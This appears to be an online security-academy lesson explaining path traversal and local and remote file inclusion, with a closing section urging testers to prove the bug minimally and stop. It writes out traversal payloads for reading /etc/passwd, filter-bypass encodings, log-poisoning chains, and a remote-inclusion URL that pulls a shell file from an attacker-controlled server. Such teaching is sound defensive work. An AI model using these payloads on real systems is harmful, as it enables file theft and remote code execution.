Server-side attacks and the file system
Log in Join

Lesson 2 · Reading · 25 min

Path traversal and file inclusion

The simplest server-side verb is read a file. Applications constantly open files based on a name you supply, a report to download, a template to render, a language file to load. When they build the path by trusting your input, you can walk out of the intended folder and read files you were never meant to see. This is path traversal, and its dangerous cousin, file inclusion.

Path traversal walks out of the intended folder using ../ sequences

Path traversal

Say a download feature does something like open /var/app/files/[your input]. Normally you send report.pdf and it reads /var/app/files/report.pdf. But file systems understand .. to mean "the parent directory". So if you send:

?file=../../../../etc/passwd

the path becomes /var/app/files/../../../../etc/passwd, and each ../ climbs one directory until you reach the root and drop into /etc/passwd: a file that has nothing to do with the application. You just read an arbitrary file as whatever user the web server runs as.

/etc/passwd is the traditional proof on Linux because it is always present and readable and unmistakable in the response (a list of root:x:0:0:... lines). Far more valuable in practice are the application's own files: source code (which reveals more bugs), configuration files, database credentials, .env, private keys, and framework config. Once you can read arbitrary files, you often read the source and find the next vulnerability.

Finding and confirming it

Look for any parameter that names a file: file, page, doc, path, download, template, lang, view. Then test:

  1. Request the legitimate value and note the response, you want a baseline.
  2. Try to traverse: ../../../../etc/passwd, escalating the number of ../ since you do not know how deep the base folder is (more ../ than needed is harmless, you just hit the root and stop).
  3. Read the response for file contents that prove you escaped: the passwd format, or the application's own config.

Filters are common, and so are their bypasses, because developers try to block ../ naively:

  • URL-encode the dots and slashes: %2e%2e%2f, or double-encode %252e%252e%252f if the app decodes twice.
  • Non-recursive strippers: if the app removes ../ once, ....// collapses back to ../ after removal.
  • Absolute paths: sometimes /etc/passwd works directly without any traversal.
  • Null bytes / extension tricks on older stacks: ...passwd%00.pdf to cut off an appended extension.

A blocked payload means a filter, not safety, the traversal lesson is largely a filter-evasion lesson.

Local and remote file inclusion

Reading a file is bad. Including one is worse. Some applications do not just read a file, they include it, pull it in and treat its contents as code to run (classically PHP's include). Then:

  • Local File Inclusion (LFI): you point the include at a local file. If you can get your own content into any local file the server will execute (a log file you can write to via a crafted User-Agent, an uploaded file, a session file), LFI escalates from reading files to running code. "Log poisoning", writing a PHP payload into a log, then including the log, is the classic chain.
  • Remote File Inclusion (RFI): the include accepts a URL, so you host a malicious file and the server fetches and executes it: ?page=http://your-server/shell.txt. RFI is rarer now (remote includes are usually disabled) but instant code execution when present.

The difference from plain traversal is the sink: read gives you file disclosure; include/require gives you a path to code execution.

The honesty gate

The finding is reading (or including) a file you should not reach. Prove it with a harmless, unmistakable target, /etc/passwd, or the app's own config to show source disclosure, and stop. Do not exfiltrate every secret on the box or plant a live web shell via LFI on a real system; reading one proof file, or demonstrating one benign inclusion, establishes the vulnerability. Report what is reachable rather than actually hoovering it up.

No lab attached here

This Academy's server-side shelf leans toward the higher verbs (upload, command, SSRF, XXE), so there is no dedicated traversal lab on it yet. Practise the instinct in the next lessons, the XXE lesson in particular gives you file-read through a different door, and treat any file/path/page parameter you meet as a traversal candidate.

Where this goes next

Reading files is the gentlest server-side verb. The next lesson jumps to the loudest one: getting your own executable file onto the server through an upload feature, and then reaching a URL that runs it, file upload to remote code execution.

This lesson has 1 lab to try what you just read.